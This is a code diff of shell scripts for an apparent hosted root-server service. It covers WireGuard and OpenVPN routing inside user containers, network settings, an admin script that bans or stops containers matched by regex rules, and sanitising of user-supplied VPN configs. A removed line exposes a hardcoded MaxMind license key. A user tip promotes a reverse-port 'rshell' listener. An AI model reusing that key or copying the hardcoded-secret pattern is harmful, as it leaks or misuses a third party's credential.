@ -472,7 +501,7 @@ net_down()
|
||||
echo -e "${G}SUCCESS${N}"
|
||||
echo -e "Use ${C}curl sf/net/up -d name=${name:-<NAME>}${N} to connect again."
|
||||
|
||||
set_normal_route
|
||||
mk_normal_route
|
||||
|
||||
# Delete WG NAME
|
||||
rm -f "${LID_WGNAME_FN:?}" "${USER_DB_WGNAME_UP_FN:?}"
|
||||
@ -627,6 +656,7 @@ load_lg() {
|
||||
LID="${arr[0]}"
|
||||
# CID="${arr[1]}"
|
||||
PID="${arr[2]}"
|
||||
[[ -z "$LID" ]] && BAIL "LID is empty."
|
||||
}
|
||||
|
||||
wg_net_init()
|
||||
@ -674,8 +704,10 @@ BLPOP portd:response-${LID} 5" | redr) || return
|
||||
|
||||
# The PortD add's a /sf/run/self/reverse_forward.
|
||||
echo -en "\
|
||||
${M}Tip${N}: Type ${C}cat /config/self/reverse_*${N}
|
||||
${G}👾 New reverse Port is ${Y}${ipport}${CN}"
|
||||
${M}🌎 Tip${N}: Type ${C}cat /config/self/reverse_*${N} for details.
|
||||
${M}🤭 Tip${N}: Type ${C}rshell${N} to start listening.
|
||||
${M}🛜 Tip${N}: Type ${C}curl sf/port${N} to assign a new port.
|
||||
${G}👾 Your reverse Port is ${Y}${ipport}${CN}"
|
||||
|
||||
# portd.sh automaticaly adds this to /config/self/reverse_*
|
||||
exit
|
||||
@ -731,6 +763,8 @@ cmd_wg_up()
|
||||
echo "$R_WG_PRIVATE" >"/dev/shm/private.$$"
|
||||
err=$(nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n wg set "$WG_DEV" private-key "/dev/shm/private.$$" peer "$R_OUT_PEER" "${args[@]}" endpoint "${R_OUT_ENDPOINT}" persistent-keepalive 25 allowed-ips 0.0.0.0/0,::/0 2>&1) || BAIL "Failed: wg set (${err:0:128})"
|
||||
rm -f "/dev/shm/private.$$" "/dev/shm/psk.$$"
|
||||
# WG IPv4: HOST_MTU - 60 (20 + 40)
|
||||
# WG IPv6: HOST_MTU - 80 (40 + 40)
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip link set mtu $((SF_HOST_MTU - 80 - 80)) up dev "${WG_DEV}"
|
||||
|
||||
# Route to WG endpoint:
|
||||
@ -772,7 +806,7 @@ cmd_wg_del()
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip link delete group 31337 2>/dev/null
|
||||
# [[ -f "${USER_DB_WGCLIENT_FN}" ]] && rm -f "${USER_DB_WGCLIENT_FN}"
|
||||
echo -e "${G}SUCCESS${N}"
|
||||
set_normal_route
|
||||
mk_normal_route
|
||||
exit
|
||||
}
|
||||
|
||||
@ -793,21 +827,7 @@ cmd_wg_show()
|
||||
0<&- # Close STDIN
|
||||
Sanitize
|
||||
GetFormVars
|
||||
[[ -n $COLOR ]] && {
|
||||
# COLOR is set (to 'always')
|
||||
Y=$CDY
|
||||
C=$CDC
|
||||
R=$CDR
|
||||
RR=$CR
|
||||
G=$CDG
|
||||
B=$CB
|
||||
M=$CDM
|
||||
YY=$CY
|
||||
W=$CW
|
||||
N=$CN
|
||||
F=$CF
|
||||
ICON_ERROR="💥 "
|
||||
}
|
||||
|
||||
|
||||
|
||||
[[ "${FCGI_CMD}" == "dmesg" ]] && {
|
||||
@ -818,6 +838,19 @@ GetFormVars
|
||||
|
||||
[[ "${FCGI_CMD}" == "port" ]] && cmd_port
|
||||
[[ "${FCGI_CMD}" == "set" ]] && {
|
||||
# If it is >=2025 then you can remove this block (it's now served via curl sf/vpn/*)
|
||||
[[ -n $SF_OVPN_HACK ]] && {
|
||||
wg_net_init
|
||||
[[ ${ARGS[1]} == 'ovpn' ]] && {
|
||||
source "/sf/bin/funcs_ovpn.sh"
|
||||
[[ ${ARGS[2]} == 'up' ]] && cmd_ovpn_up
|
||||
[[ ${ARGS[2]} == 'show' ]] && cmd_ovpn_show
|
||||
[[ ${ARGS[2]} == 'del' ]] && cmd_ovpn_del
|
||||
[[ ${ARGS[2]} == 'down' ]] && cmd_ovpn_del
|
||||
cmd_ovpn_help
|
||||
exit
|
||||
}
|
||||
}
|
||||
[[ -n $TOKEN_NAME ]] && cmd_token
|
||||
BAIL "${M}Setting not found.${N}"
|
||||
}
|
||||
@ -841,6 +874,18 @@ wg_net_init
|
||||
exit
|
||||
}
|
||||
|
||||
[[ "${FCGI_CMD}" == "ovpn" ]] && {
|
||||
source "/sf/bin/funcs_ovpn.sh"
|
||||
[[ ${ARGS[1]} == 'up' ]] && cmd_ovpn_up
|
||||
[[ ${ARGS[1]} == 'show' ]] && cmd_ovpn_show
|
||||
[[ ${ARGS[1]} == 'del' ]] && cmd_ovpn_del
|
||||
[[ ${ARGS[1]} == 'down' ]] && cmd_ovpn_del
|
||||
# [[ ${ARGS[1]} == 'show' ]] && cmd_wg_show
|
||||
cmd_ovpn_help
|
||||
|
||||
exit
|
||||
}
|
||||
|
||||
# /net -> Show port assignment
|
||||
# /net/init -> Assigned port to this LID or create new port.
|
||||
# /net/up -> Create WireGuard interface
|
||||
|
@ -19,7 +19,9 @@ USER_UL_RATE="$5"
|
||||
LID_PROMPT_FN="/dev/shm/sf/self-for-guest/lg-${LID}/prompt"
|
||||
|
||||
# Create 'empty' for ZSH's prompt to show WG EXIT
|
||||
[[ ! -f "${LID_PROMPT_FN}" ]] && touch "${LID_PROMPT_FN}"
|
||||
# [[ ! -f "${LID_PROMPT_FN}" ]] && touch "${LID_PROMPT_FN}"
|
||||
# Overwrite existing. Will be re-created by sf-setup.sh if WG-NET is up still.
|
||||
:>"${LID_PROMPT_FN}"
|
||||
|
||||
set -e
|
||||
LG_MAC=$(docker inspect -f '{{ (index .NetworkSettings.Networks "sf-guest").MacAddress }}' "lg-${LID:?}")
|
||||
|
@ -37,7 +37,7 @@ SF_MULLVAD_IP=172.20.0.252
|
||||
SF_MULLVAD_ROUTE=10.124.0.0/22
|
||||
SF_NOVPN_IP=172.20.0.240
|
||||
SF_NGINX_IP=172.20.1.80
|
||||
SF_RPC_IP=10.11.0.2
|
||||
SF_RPC_IP=100.126.224.2
|
||||
SF_GSNC_IP=172.22.0.21
|
||||
SF_SSHD_IP=172.22.0.22
|
||||
SF_DOH_IP=172.23.0.2
|
||||
@ -49,9 +49,9 @@ SF_NET_ONION=10.111.0.0/16
|
||||
SF_NET_VPN=172.20.0.0/24
|
||||
SF_NET_VPN_DNS_IP=172.20.0.53
|
||||
|
||||
SF_NET_LG=10.11.0.0/24
|
||||
SF_NET_LG_ROUTER_IP=10.11.0.1
|
||||
SF_NET_LG_ROUTER_IP_DUMMY=10.11.0.254
|
||||
SF_NET_LG=100.126.224.0/22
|
||||
SF_NET_LG_ROUTER_IP=100.126.224.1
|
||||
SF_NET_LG_ROUTER_IP_DUMMY=100.126.227.254
|
||||
|
||||
SF_NET_VPN_ROUTER_IP=172.20.0.2
|
||||
|
||||
|
@ -34,6 +34,8 @@ init_vars()
|
||||
|
||||
# export DEBIAN_FRONTEND=noninteractive # Must e interactive so that we get warning if kernel got updated (needs reboot)
|
||||
[[ -z $SF_SEED ]] && ERREXIT 255 "SF_SEED= not set. Try \`export SF_SEED=\"\$(head -c 1024 /dev/urandom |base64| tr -dc '[:alpha:]' | head -c 32)\"\`"
|
||||
[[ -z $MAXMIND_KEY ]] && ERREXIT 255 "MAXMIND_KEY= not set. Try ${CDC}export MAXMIND_KEY=skip${CN} to disable. See https://support.maxmind.com/hc/en-us/articles/4407111582235-Generate-a-License-Key"
|
||||
[[ $MAXMIND_KEY == "skip" ]] && unset MAXMIND_KEY
|
||||
}
|
||||
|
||||
|
||||
@ -160,7 +162,7 @@ init_config_run()
|
||||
mergedir "config/etc/redis"
|
||||
mergedir "config/etc/resolv.conf"
|
||||
|
||||
[[ ! -f "${SF_DATADIR}/share/GeoLite2-City.mmdb" ]] && curl 'https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-City&license_key=zNACjsJrHnGPBxgI&suffix=tar.gz' | tar xfvz - --strip-components=1 --no-anchored -C "${SF_DATADIR}/share/" 'GeoLite2-City.mmdb'
|
||||
[[ ! -f "${SF_DATADIR}/share/GeoLite2-City.mmdb" ]] && [[ -n "${MAXMIND_KEY}" ]] && curl 'https://download.maxmind.com/app/geoip_download?edition_id=GeoLite2-City&license_key='"${MAXMIND_KEY}"'&suffix=tar.gz' | tar xfvz - --strip-components=1 --no-anchored -C "${SF_DATADIR}/share/" 'GeoLite2-City.mmdb'
|
||||
[[ ! -f "${SF_DATADIR}/share/tor-exit-nodes.txt" ]] && curl 'https://www.dan.me.uk/torlist/?exit' >"${SF_DATADIR}/share/tor-exit-nodes.txt"
|
||||
|
||||
# Setup /dev/shm/sf/run/log (in-memory /var/run...)
|
||||
@ -286,6 +288,10 @@ journalctl --vacuum-time=10d
|
||||
sed 's/rotate 4/rotate 2/' -i /etc/logrotate.conf
|
||||
sed 's/rotate 4/rotate 2\n\tsize 64M\n\tminsize 128k/' -i /etc/logrotate.d/rsyslog
|
||||
|
||||
sed 's|.*-/var/log/syslog$|\$outchannel mysyslog,/var/log/syslog,1048576\n*.*;kern.none,auth,authpriv.none :omfile:$mysyslog|' -i /etc/rsyslog.d/50-default.conf
|
||||
sed 's|.*-/var/log/kern.log$|\$outchannel mykern,/var/log/kern.log,1048576\n*.*;kern.none,auth,authpriv.none :omfile:$mykern|' -i /etc/rsyslog.d/50-default.conf
|
||||
systemctl restart rsyslog.service
|
||||
|
||||
# NOTE: Only needed if source is mounted into vmbox (for testing)
|
||||
[[ "$(stat -c %G /research/segfault 2>/dev/null)" == "vboxsf" ]] && usermod -a -G vboxsf "${SF_HOST_USER}"
|
||||
|
||||
|
@ -311,7 +311,7 @@ ipset_add_domain()
|
||||
local domain
|
||||
domain="$1"
|
||||
# Remove CNAME. Only output IP
|
||||
for ip in $(dig +short "$domain" | grep -v '\.$'); do
|
||||
for ip in $(dig +short "$domain" | grep -v '\.$' | grep -v '^;;'); do
|
||||
ipset_add_ip "$ip" || ERR "DOMAIN='$domain', IP='$ip'"
|
||||
done
|
||||
}
|
||||
@ -325,7 +325,6 @@ ipt_direct()
|
||||
ipset_add_domain http.kali.org
|
||||
|
||||
# SF is direct (otherwise a user can inflate root-server-per-IP-limit)
|
||||
ipset_add_domain teso.segfault.net
|
||||
ipset_add_domain lsd.segfault.net
|
||||
ipset_add_domain 8lgm.segfault.net
|
||||
ipset_add_domain adm.segfault.net
|
||||
|
50
sfbin/banhammer.sh
Executable file
50
sfbin/banhammer.sh
Executable file
@ -0,0 +1,50 @@
|
||||
#! /usr/bin/env bash
|
||||
|
||||
source /sf/sfbin/funcs_admin.sh >/dev/null || exit
|
||||
|
||||
do_ban() {
|
||||
echo "[$(date '+%F %H:%M:%S' -u)] Banning $2 [$1]. See /sf/config/db/user/${2}/syscop-ps.txt"
|
||||
[[ -n $SF_DEBUG ]] && {
|
||||
lgwall "$2" "$3"
|
||||
return
|
||||
}
|
||||
lgban "$2" "$3"
|
||||
}
|
||||
|
||||
do_stop() {
|
||||
echo "[$(date '+%F %H:%M:%S' -u)] Stopping $2 [$1]. See /sf/config/db/user/${2}/syscop-ps.txt"
|
||||
[[ -n $SF_DEBUG ]] && {
|
||||
lgwall "$2" "$3"
|
||||
return
|
||||
}
|
||||
lgstop "$2" "$3"
|
||||
}
|
||||
|
||||
run() {
|
||||
local interval
|
||||
local rx_fn="/sf/config/db/private/${1}"
|
||||
local msg_fn="/sf/config/db/private/${2}"
|
||||
local regex
|
||||
local reason="${rx_fn%.txt}"
|
||||
local cmd="${3:-ban}"
|
||||
reason="${reason##*rx_}"
|
||||
while :; do
|
||||
source "$rx_fn" || { sleep 60; continue; }
|
||||
for lg in $(lgx "$regex" skiptoken); do
|
||||
if [[ -f "$msg_fn" ]]; then
|
||||
"do_${cmd}" "$reason" "$lg" "$(<"$msg_fn"))"
|
||||
else
|
||||
"do_${cmd}" "$reason" "$lg" "Your server was stopped. Contact a SysCop to discuss [ERROR: $msg_fn]."
|
||||
fi
|
||||
done
|
||||
sleep "${interval:-360}"
|
||||
done
|
||||
}
|
||||
|
||||
run rx_dos.txt banmsg_dos.txt ban &
|
||||
run rx_egress.txt banmsg_egress.txt ban &
|
||||
run rx_exhaust.txt stop_exhaust.txt stop &
|
||||
|
||||
# CTRL-c here will also send a SIGINTR to all child processes (and kill them)
|
||||
echo "Banhammer started. Press CTRL-c to stop."
|
||||
read -r -d '' _ </dev/tty
|
@ -5,7 +5,7 @@ CY="\e[1;33m" # yellow
|
||||
CG="\e[1;32m" # green
|
||||
CR="\e[1;31m" # red
|
||||
CC="\e[1;36m" # cyan
|
||||
# CM="\e[1;35m" # magenta
|
||||
CM="\e[1;35m" # magenta
|
||||
CW="\e[1;37m" # white
|
||||
CB="\e[1;34m" # blue
|
||||
CF="\e[2m" # faint
|
||||
|
@ -14,6 +14,7 @@ _self_for_guest_dir="${_sf_shmdir}/self-for-guest"
|
||||
_sf_basedir="/sf"
|
||||
_sf_dbdir="${_sf_basedir}/config/db"
|
||||
unset _sf_isinit
|
||||
_sf_region="$(hostname)"
|
||||
|
||||
_sf_deinit()
|
||||
{
|
||||
@ -114,7 +115,7 @@ _sfcg_forall()
|
||||
skip_token="$1"
|
||||
|
||||
set -o noglob
|
||||
IFS=$'\n' arr=($(docker ps --format "{{.Names}}" --filter 'name=^lg-'))
|
||||
IFS=$'\n' arr=($(docker ps --format "{{.Names}}" --filter 'name=^lg-' 2>/dev/null))
|
||||
|
||||
for l in "${arr[@]}"; do
|
||||
ts=2147483647
|
||||
@ -139,7 +140,7 @@ _sfcg_psarr()
|
||||
found=0
|
||||
[[ -z $match ]] && found=1 # empty string => Show all
|
||||
|
||||
IFS= str=$(docker top "${lglid}" -e -o pid,bsdtime,rss,start_time,comm,cmd)
|
||||
IFS= str=$(docker top "${lglid}" -e -o pid,bsdtime,rss,start_time,comm,cmd 2>/dev/null)
|
||||
[[ -n $str ]] && [[ -n $match ]] && [[ "$str" =~ $match ]] && found=1
|
||||
|
||||
echo "$str"
|
||||
@ -221,6 +222,7 @@ lgwall()
|
||||
# This
|
||||
local pid
|
||||
local cid
|
||||
local fn
|
||||
[[ -z $2 ]] && { echo >&2 "lgwall LID [message]"; return; }
|
||||
cid=$(docker inspect --format='{{.Id}}' "$1") || return
|
||||
pid=$(<"/var/run/containerd/io.containerd.runtime.v2.task/moby/${cid}/init.pid") || return
|
||||
@ -436,6 +438,8 @@ lgdf()
|
||||
local dst
|
||||
local IFS
|
||||
local blocks
|
||||
local fn
|
||||
local info
|
||||
|
||||
_sf_init
|
||||
|
||||
@ -460,7 +464,12 @@ lgdf()
|
||||
perctt=${_sfquota["${l}-inode-perctt"]}
|
||||
pin=$(printf '% 3u.%02u\n' $((perctt / 100)) $((perctt % 100)))
|
||||
str="${psz} "
|
||||
echo "${blocks} ${str:0:5}% ${pin}% ${l}"
|
||||
info="${l}"
|
||||
fn="${_sf_dbdir}/user/${l}/hostname"
|
||||
[[ -f "$fn" ]] && info+=" $(<"$fn")"
|
||||
fn="${_sf_dbdir}/user/${l}/token"
|
||||
[[ -f "$fn" ]] && info+=" [$(<"$fn")]"
|
||||
echo "${blocks} ${str:0:5}% ${pin}% ${info}"
|
||||
done
|
||||
|
||||
_sf_deinit
|
||||
@ -499,27 +508,29 @@ lgrm()
|
||||
lgban()
|
||||
{
|
||||
local fn
|
||||
local hn
|
||||
local ip
|
||||
local msg
|
||||
local lid
|
||||
local lglid="${1}"
|
||||
|
||||
_sf_init
|
||||
lid="${1}"
|
||||
shift 1
|
||||
|
||||
fn="${_self_for_guest_dir}/${lid}/ip"
|
||||
fn="${_self_for_guest_dir}/${lglid}/ip"
|
||||
[[ -f "$fn" ]] && {
|
||||
ip=$(<"$fn")
|
||||
fn="${_self_for_guest_dir}/${lglid}/hostname"
|
||||
[[ -f "${fn}" ]] && hn=$(<"${fn}")
|
||||
fn="${_sf_dbdir}/banned/ip-${ip:0:18}"
|
||||
[[ ! -e "$fn" ]] && {
|
||||
[[ $# -gt 0 ]] && msg="$*\n"
|
||||
echo -en "$msg" >"${fn}"
|
||||
echo -en "# ${CY}${hn:-NAME} ${CDY}${_sf_region:-REGION} ${lglid} ${ip:0:18}${CN}\n$msg" >"${fn}"
|
||||
}
|
||||
echo "Banned: $ip"
|
||||
}
|
||||
|
||||
lgstop "${lid}" "$@"
|
||||
#_sf_lgrm "${lid}" # Dont lgrm here and give user chance to explain to re-instate his server.
|
||||
lgstop "${lglid}" "$@"
|
||||
#_sf_lgrm "${lglid}" # Dont lgrm here and give user chance to explain to re-instate his server.
|
||||
|
||||
_sf_deinit
|
||||
}
|
||||
|
@ -65,3 +65,44 @@ tc_set()
|
||||
tc filter add dev "${dev}" parent 11: handle 11 flow hash keys "${key}" divisor 1024
|
||||
set +e
|
||||
}
|
||||
|
||||
set_route_pre_up() {
|
||||
# Add static routes for Segfault Services (RPC, DNS, ...)
|
||||
# nsenter -t "${PID}" -n ip route add "${SF_PC_IP}/32" dev eth0 # NOT NEEDED: RPC is on same network
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_TOR_IP}" via "${SF_NET_LG_ROUTER_IP}" dev eth0 2>/dev/null
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_NET_ONION}" via "${SF_NET_LG_ROUTER_IP}" dev eth0 2>/dev/null
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_DNS}" via "${SF_NET_LG_ROUTER_IP}" dev eth0 2>/dev/null
|
||||
[[ -n $SF_MULLVAD_ROUTE ]] && nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add "${SF_MULLVAD_ROUTE}" via "${SF_NET_LG_ROUTER_IP}" dev eth0 2>/dev/null
|
||||
}
|
||||
|
||||
set_route_post_up() {
|
||||
local str
|
||||
|
||||
# If there is a EXTRA ROUTE then route ALL traffic. Otherwise keep default route
|
||||
# but add EXTRA ROUTE.
|
||||
[[ ${#R_ROUTE_ARR[@]} -le 0 ]] && {
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route del default 2>/dev/null
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip route add default dev "${WG_DEV}"
|
||||
}
|
||||
# All IPv6 to WG_DEV. FIXME: One day we shall support IPv6
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip -6 route del default 2>/dev/null
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip -6 route add default dev "${WG_DEV}" 2>/dev/null
|
||||
|
||||
# Add EXTRA ROUTE
|
||||
for str in "${R_ROUTE_ARR[@]}"; do
|
||||
echo "Setting route $str"
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "$PID" -n ip route add "${str}" dev "${WG_DEV}"
|
||||
done
|
||||
|
||||
# Packets to 172.16.0.3 should not be forwarded back to 172.16.0.3
|
||||
# Can not use 'sysctl net.ipv4.conf.wgExit.forwarding=1' because /proc is mounted ro
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n iptables -I FORWARD -i "${WG_DEV}" -j DROP
|
||||
nsenter.u1000 --setuid 0 --setgid 0 -t "${PID}" -n ip6tables -I FORWARD -i "${WG_DEV}" -j DROP
|
||||
}
|
||||
|
||||
# sf-master, wg/vpn
|
||||
set_route()
|
||||
{
|
||||
set_route_pre_up
|
||||
set_route_post_up
|
||||
}
|
||||
|
390
sfbin/funcs_ovpn.sh
Normal file
390
sfbin/funcs_ovpn.sh
Normal file
@ -0,0 +1,390 @@
|
||||
# TODO:
|
||||
# 1. what happens if I create wgEXIT and vpnEXIT?
|
||||
# 1. It might be better to start the openvpn in an isolated container, then move
|
||||
# the tun0 interface to the user's container. This way we would not need
|
||||
# to sanitize the config files.
|
||||
|
||||
[[ -z "$SF_GUEST_MTU" ]] && SF_GUEST_MTU=$((SF_HOST_MTU - 80))
|
||||
|
||||
cmd_ovpn_help() {
|
||||
echo -en "\
|
||||
Use ${C}curl sf/ovpn/up -d config=\"\$(pwd)/openvpn.conf\"${N}
|
||||
Use ${C}curl sf/ovpn/up -d config=\"\$(pwd)/openvpn.conf\" -d user=username -d pass=password${N}
|
||||
Use ${C}curl sf/ovpn/up -d config=\"\$(pwd)/openvpn.conf\" -d keypass=password${N}
|
||||
Use ${C}curl sf/ovpn/up -d config=\"\$(pwd)/openvpn.conf\" -d route=8.0.0.0/20 -d route=172.16.0.0/22${N}
|
||||
Use ${C}curl sf/ovpn/show${N} for status.
|
||||
Use ${C}curl sf/ovpn/down${N} to disconnect."
|
||||
exit;
|
||||
}
|
||||
|
||||
# cat a file from user's container.
|
||||
user_cat() {
|
||||
local IFS
|
||||
local fn="$1"
|
||||
local max="$2"
|
||||
local -
|
||||
|
||||
set -o pipefail
|
||||
[[ ${fn:0:1} != "/" ]] && fn="${VPN_LG_BASE}/${fn}"
|
||||
## Reading a file from the user. Be careful.
|
||||
fn="${fn//[^[:alnum:]-_+\/.]}"
|
||||
|
||||
timeout 2 docker exec -u0 "lg-${LID:?}" cat -- "${fn}" 2>&1 | dd bs=1k count="${max:-16}" 2>/dev/null
|
||||
}
|
||||
|
||||
vpn_read_config() {
|
||||
local IFS
|
||||
local config
|
||||
local arr
|
||||
local -
|
||||
local is_read_ca
|
||||
local is_read_key
|
||||
local is_read_cert
|
||||
local is_read_tls
|
||||
local err
|
||||
local LC_ALL=C
|
||||
|
||||
# Set defaults
|
||||
VPN_CFG_PROTO="udp"
|
||||
VPN_CFG_PROTO_SIZE=8
|
||||
VPN_CFG_REMOTE_PORT="1194"
|
||||
|
||||
# Find out base directory.
|
||||
VPN_LG_BASE="${R_CONFIG%/*}"
|
||||
|
||||
set -f
|
||||
IFS=$'\n' config=($(user_cat "$R_CONFIG" 16)) || BAIL "${config[*]}"
|
||||
|
||||
# Extract only those configuration values we deem safe.
|
||||
for l in "${config[@]}"; do
|
||||
l="${l//[^[:print:]}"
|
||||
key="${l%% *}"
|
||||
|
||||
### CA
|
||||
[[ "${key,,}" == "<ca>" ]] && [[ -z "$VPN_CFG_CA" ]] && {
|
||||
is_read_ca=1
|
||||
continue
|
||||
}
|
||||
[[ -n "$is_read_ca" ]] && {
|
||||
[[ "${key,,}" == "</ca>" ]] && { unset is_read_ca; continue; }
|
||||
VPN_CFG_CA+="$l"$'\n'
|
||||
continue
|
||||
}
|
||||
|
||||
### KEY
|
||||
[[ "${key,,}" == "<key>" ]] && [[ -z "$VPN_CFG_KEY" ]] && {
|
||||
is_read_key=1
|
||||
continue
|
||||
}
|
||||
[[ -n "$is_read_key" ]] && {
|
||||
[[ "${key,,}" == "</key>" ]] && { unset is_read_key; continue; }
|
||||
VPN_CFG_KEY+="$l"$'\n'
|
||||
continue;
|
||||
}
|
||||
|
||||
### TLS-AUTH
|
||||
[[ "${key,,}" == "<tls-auth>" ]] && [[ -z "$VPN_CFG_TLS" ]] && {
|
||||
is_read_tls=1
|
||||
continue
|
||||
}
|
||||
[[ -n "$is_read_tls" ]] && {
|
||||
[[ "${key,,}" == "</tls-auth>" ]] && { unset is_read_tls; continue; }
|
||||
VPN_CFG_TLS+="$l"$'\n'
|
||||
continue;
|
||||
}
|
||||
|
||||
### CERT
|
||||
[[ "${key,,}" == "<cert>" ]] && [[ -z "$VPN_CFG_CERT" ]] && {
|
||||
is_read_cert=1
|
||||
continue
|
||||
}
|
||||
[[ -n "$is_read_cert" ]] && {
|
||||
[[ "${key,,}" == "</cert>" ]] && { unset is_read_key; continue; }
|
||||
[[ $is_read_cert -le 1 ]] && [[ "${l:0:5}" != "-----" ]] && continue
|
||||
is_read_cert=2
|
||||
VPN_CFG_CERT+="$l"$'\n'
|
||||
continue;
|
||||
}
|
||||
|
||||
[[ ${key} == proto ]] && {
|
||||
str="${l##* }"
|
||||
[[ ${str,,} == "tcp" ]] && VPN_CFG_PROTO="tcp"
|
||||
continue
|
||||
}
|
||||
|
||||
[[ "${key}" == "auth-user-pass" ]] && [[ -z "$VPN_CFG_PASS" ]] && {
|
||||
IFS=" " read -r -a arr <<<"$l"
|
||||
# Empty. Should have -dpass and -duser
|
||||
[[ ${#arr[@]} -lt 2 ]] && {
|
||||
[[ -z "$R_USER" || -z "$R_PASS" ]] && BAIL "Need ${C}-d user=username -d pass=password${N}"
|
||||
continue
|
||||
}
|
||||
|
||||
IFS=$'\n' arr=($(user_cat "${l##* }")) || BAIL "${arr[*]}"
|
||||
VPN_CFG_USER="${arr[0]}"
|
||||
VPN_CFG_PASS="${arr[1]}"
|
||||
unset arr
|
||||
continue
|
||||
}
|
||||
[[ "${key}" == "ca" ]] && [[ -z "$VPN_CFG_CA" ]] && {
|
||||
VPN_CFG_CA="$(user_cat "${l##* }")" || BAIL "$VPN_CFG_CA"
|
||||
continue
|
||||
}
|
||||
[[ "${key}" == "key" ]] && [[ -z "$VPN_CFG_KEY" ]] && {
|
||||
VPN_CFG_KEY="$(user_cat "${l##* }")" || BAIL "$VPN_CFG_KEY"
|
||||
continue
|
||||
}
|
||||
[[ "${key}" == "cert" ]] && [[ -z "$VPN_CFG_CERT" ]] && {
|
||||
VPN_CFG_CERT="$(user_cat "${l##* }")" || BAIL "$VPN_CFG_CERT"
|
||||
continue
|
||||
}
|
||||
|
||||
[[ "${key}" == "remote" ]] && [[ -z "$VPN_CFG_REMOTE" ]] && {
|
||||
IFS=" " read -r -a arr <<<"$l"
|
||||
str="${arr[1]}"
|
||||
VPN_CFG_REMOTE="${str//[^[:alnum:]-.]}"
|
||||
# BAD if starts with a "."
|
||||
[[ ${VPN_CFG_REMOTE:0:1} == "." ]] && unset VPN_CFG_REMOTE # Cant start with a '.' or '-'
|
||||
[[ ${VPN_CFG_REMOTE:0:1} == "-" ]] && unset VPN_CFG_REMOTE # Cant start with a '.' or '-'
|
||||
# sf-master can not resolve. OpenVPN's --up still holds Starting OpenVPN in the user's namespace
|
||||
[[ -z "$VPN_CFG_REMOTE" ]] && BAIL "Invalid Remote ('${str}')."
|
||||
str="${arr[2]}"
|
||||
str="${str//[^0-9]}"
|
||||
[[ -n "$str" ]] && VPN_CFG_REMOTE_PORT="$str"
|
||||
[[ ${arr[3]} == "tcp"* ]] && VPN_CFG_PROTO="tcp"
|
||||
unset arr
|
||||
continue
|
||||
}
|
||||
|
||||
[[ "${key}" == "route" ]] && [[ ${#R_ROUTE_ARR[@]} -le 0 ]] && {
|
||||
#FIXME: Auto-convert route from netmask to cidr and add to R_ROUTE_ARR+=(...)
|
||||
echo -e "${ICON_WARN}${R}WARN:${N} Ignoring ${Y}${l}${N}. Used ${C}-d network/cidr${N} instead."
|
||||
continue
|
||||
}
|
||||
|
||||
[[ "${key}" == "comp-lzo" ]] && {
|
||||
VPN_CFG+="comp-lzo"$'\n'
|
||||
continue
|
||||
}
|
||||
|
||||
[[ "${key}" == "key-direction" ]] && {
|
||||
VPN_CFG+="key-direction 1"$'\n'
|
||||
}
|
||||
[[ "${key}" == "data-ciphers" ]] && {
|
||||
str="${l#* }"
|
||||
# OpenVPN 2.4 uses "--cipher" but >=2.5 uses "--data-ciphers"
|
||||
# VPN_CFG+="data-ciphers ${str//[^[:alnum:]-\:]}"$'\n'
|
||||
VPN_CFG_DATA_CIPHERS="${str//[^[:alnum:]-\:]}"
|
||||
continue
|
||||
}
|
||||
[[ "${key}" == "cipher" ]] && {
|
||||
str="${l#* }"
|
||||
# OpenVPN 2.4 uses "--cipher" but >=2.5 uses "--data-ciphers"
|
||||
# VPN_CFG+="data-ciphers ${str//[^[:alnum:]-\:]}"$'\n'
|
||||
VPN_CFG_CIPHER="${str//[^[:alnum:]-\:]}"
|
||||
continue
|
||||
}
|
||||
|
||||
[[ "${key}" == "compress" ]] && {
|
||||
str="${l#* }"
|
||||
VPN_CFG+="compress ${str//[^[:alnum:]]}"$'\n'
|
||||
continue
|
||||
}
|
||||
|
||||
[[ "${key}" == "auth" ]] && {
|
||||
str="${l#* }"
|
||||
VPN_CFG+="auth ${str//[^[:alnum:]]}"$'\n'
|
||||
continue
|
||||
}
|
||||
|
||||
[[ "${key}" == "tls-cipher" ]] && {
|
||||
str="${l#* }"
|
||||
VPN_CFG+="tls-cipher ${str//[^[:alnum:]-:@=]}"$'\n'
|
||||
continue
|
||||
}
|
||||
|
||||
[[ "${key,,}" == "remote-cert-tls" ]] && {
|
||||
VPN_CFG+="remote-cert-tls server"$'\n'
|
||||
continue
|
||||
}
|
||||
done
|
||||
|
||||
# Sanitize
|
||||
VPN_CFG_CA=${VPN_CFG_CA//[^a-zA-Z0-9+-/$'\n']}
|
||||
VPN_CFG_KEY=${VPN_CFG_KEY//[^a-zA-Z0-9+-/$'\n']}
|
||||
VPN_CFG_CERT=${VPN_CFG_CERT//[^a-zA-Z0-9+-/$'\n']}
|
||||
VPN_CFG_TLS=${VPN_CFG_TLS//[^a-zA-Z0-9+-/$'\n']}
|
||||
[[ $VPN_CFG_PROTO == "tcp" ]] && VPN_CFG_PROTO_SIZE=20
|
||||
|
||||
unset err
|
||||
[[ -n "$VPN_CFG_CERT" ]] && err=1
|
||||
[[ -n "$VPN_CFG_KEY" ]] && ((err++))
|
||||
[[ -n "$err" ]] && [[ "$err" -ne 2 ]] && BAIL "CERT and KEY must both be set"
|
||||
[[ -z "$VPN_CFG_REMOTE" ]] && BAIL "No REMOTE found."
|
||||
[[ -n "$VPN_CFG_KEY" ]] && [[ -n "$VPN_CFG_PASS" ]] && BAIL "Missing key or missing auth-user-pass. Try ${C}-d user=username -d pass=password${N}"
|
||||
[[ -z "$VPN_CFG_CA" ]] && BAIL "No CA found. The configuration file is missing a 'ca [file]' or '<ca>' section."
|
||||
